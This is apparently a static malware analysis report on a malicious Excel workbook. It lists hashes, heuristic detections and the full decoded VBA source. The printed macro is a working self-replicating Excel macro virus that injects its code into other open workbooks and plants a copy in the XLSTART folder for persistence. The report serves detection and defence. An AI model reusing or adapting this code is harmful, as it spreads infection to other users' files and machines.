Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 fc28b2afa7d2a5cb…

MALICIOUS

Office (OLE) / .XLS

39.0 KB Created: 2026-03-30 01:02:21 Authoring application: WPS 表格 First seen: 2026-06-16
MD5: 2d14a60032fa12c6f5ca7eb48b245de3 SHA-1: bf1b0ed425779114c4a207db6163cb3cd540ccb6 SHA-256: fc28b2afa7d2a5cb5b36794da098ac26407f1176a2fa2a5b623d8922611b2ab2
160 Risk Score

Heuristics 4

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            w2.InsertLines 1, w1.Lines(1, w1.CountOfLines)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
                Set xlApp = CreateObject("Excel.Application")
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
                xlWB.SaveAs Filename:=Application.StartupPath + "\Book1.", FileFormat:=xlNormal, AddToMru:=False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5501 bytes
SHA-256: 2f051bce69a7d2dcad7291d3a7e4f7d9adfd9018ef117dc785c04991731c062e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'OOO
''Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
    ''If UCase(ThisWorkbook.Name) = "BOOK1" Then
        ''Application.Dialogs(xlDialogSaveAs).Show
        'Cancel = True
    ''End If
''End Sub
Private Sub Workbook_Deactivate()
    On Error Resume Next
    Set w1 = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    Set w2 = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    If w2.Lines(1, 1) <> "'OOO" Then
        w2.InsertLines 1, w1.Lines(1, w1.CountOfLines)
    End If
    
    If UCase(Dir(Application.StartupPath + "\book1.")) <> "BOOK1" Then
            Set xlApp = CreateObject("Excel.Application")
            Set xlWB = xlApp.Workbooks.Add
            Set xlWS = xlWB.Sheets.Add
            Set xlCM = xlWB.VBProject.VBComponents("ThisWorkbook").CodeModule
            xlCM.InsertLines 1, w1.Lines(1, w1.CountOfLines)
            xlWB.SaveAs Filename:=Application.StartupPath + "\Book1.", FileFormat:=xlNormal, AddToMru:=False
            xlWB.Close
            xlApp.Quit
        End If
End Sub
Private Sub Workbook_BeforeClose(Cancel As Boolean)
    On Error Resume Next
    TmpDir = "C:\TMP\"
    If Trim(Dir(TmpDir)) = "" Then
        MkDir TmpDir
    End If
    oldname = ThisWorkbook.Name
    mFileName = "C:\TMP\" + oldname
    ThisWorkbook.SaveCopyAs Filename:=mFileName
End Sub
Sub vtHideRow()
    Application.Selection.EntireRow.Hidden = True
End Sub
Sub vtShowRow()
    Application.Selection.EntireRow.Hidden = False
End Sub
Sub vtShowCol()
    Application.Selection.EntireColumn.Hidden = False
End Sub




'Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
'Sheets("ES Cover").Select
'Sheets("Financials").Range("AY3").Value = "FALSE"
'MsgBox "The workbook will be saved in constant USD"
'End Sub

'Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
'Sheets("ES Cover").Select
'Sheets("Financials").Range("AY3").Value = "FALSE"
'MsgBox "The workbook will be saved in constant USD"
'End Sub

Function WorksheetExists(WSName As String, _
    Optional WB As Workbook = Nothing) As Boolean
    On Error Resume Next
    WorksheetExists = CBool(Len(IIf(WB Is Nothing, _
        ThisWorkbook, WB).Worksheets(WSName).Name))
End Function

Private Sub Workbook_NewSheet(ByVal Sh As Object)

Application.DisplayAlerts = False
Application.ScreenUpdating = False

If WorksheetExists("Drill") = True Then     '判断有没有某个sheet页，比较快速的方法
    Sheets("Drill").Delete
End If

ActiveSheet.Name = "Drill"
Columns("A:B").Delete

With ActiveSheet.UsedRange.Columns("I").Cells
    .TextToColumns Destination:=.Cells(1), DataType:=xlFixedWidth, FieldInfo:=Array(0, xlYMDFormat)
    .NumberFormat = "m/d/yyyy"   'change to any date-based number format you prefer the cells to display
End With

Columns("A:T").AutoFit
Columns("N:T").NumberFormat = "#,##0.00_ ;[Red]-#,##0.00 "

If Worksheets("Directions").Range("D1").Value <> "" Then
    ActiveSheet.ListObjects(1).Range.AutoFilter Field:=ActiveSheet.ListObjects(1).ListColumns(Worksheets("Directions").Range("D1").Value).Index, Criteria1:="<>"
End If

Range("A1:T" & Range("A" & Rows.Count).End(xlUp).Row).Sort key1:="Dept", Order1:=xlAscending, key2:="Journal Date", Order2:=xlAscending, Header:=xlYes, key3:="Invoice Date", Order3:=xlAscending

ActiveSheet.PageSetup.PrintArea = ActiveCell.CurrentRegion.Address
With ActiveSheet.PageSetup
    .Orientation = xlLandscape
    .Zoom = False
   .FitToPagesTall = 1
   .FitToPagesWide = 1
End With
Range("A1").Select

Worksheets("Directions").Range("D1").ClearContents

Application.DisplayAlerts = True
Application.ScreenUpdating = True

End Sub

'Private Sub Workbook_SheetPivotTableUpdate(ByVal Sh As Object, ByVal Target As PivotTable)

'Dim answer As String
'Dim COUNT As Integer

'Range("C6").Select

'If Range("B2") = "General and Administrative" Then
'    Range("A500").Select
'    answer = InputBox("Please enter password", "Access Restricted!!")

'    If answer <> "tyrone" Then
'        Range("B2") = "Rooms"
'        Range("C6").Select
'        MsgBox ("Invalid Password!")
'    End If

'    answer = "0"
'    Range("C6").Select
'End If

'End Sub
































































































































Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.